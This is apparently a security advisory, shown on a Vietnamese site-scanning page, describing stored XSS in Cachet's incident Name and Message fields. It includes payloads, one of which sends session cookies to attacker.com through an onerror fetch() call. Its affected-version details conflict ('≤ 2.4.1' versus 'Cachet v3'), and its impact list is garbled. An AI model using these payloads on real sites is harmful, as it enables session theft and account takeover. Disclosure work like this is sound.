| Gói / sản phẩm | Phiên bản bị ảnh hưởng | Phiên bản đã vá |
|---|---|---|
| cachethq/cachet | ≤ 2.4.1 |
A stored Cross-Site Scripting (XSS) vulnerability exists in the incident creation form, allowing an authenticated attacker to inject malicious HTML/JavaScript that executes in the browser of any user who views the status page, potentially leading to session token theft and account takeover.
The incident Name and Message fields do not properly sanitize HTML event handler attributes. While <script> tags appear to be filtered, event-based payloads are not blocked.
Affected endpoint: /dashboard/incidents/ Affected fields: Incident Name, Incident Message Affected version: Cachet v3
Payload 1 — Confirm XSS execution:
<img src=x onerror="alert(1)">
Step 2 — Cookie/token exfiltration:
<img src=x onerror="fetch('http://attacker.com/leak?c='+document.cookie)">
Step 3 — Forced redirect to sensitive page:
<img src=x onerror="window.location='/dashboard/manage-customization'">
Stored XSS affecting all users who view the public status page.
An attacker can:
/dashboard/manage-customizationThis vulnerability could lead to full account takeover of any user who views the status page, including administrators.
Bạn đang dùng một trong các sản phẩm này? Quét site để biết có đang lộ phiên bản có lỗ hổng không.
Quét site miễn phí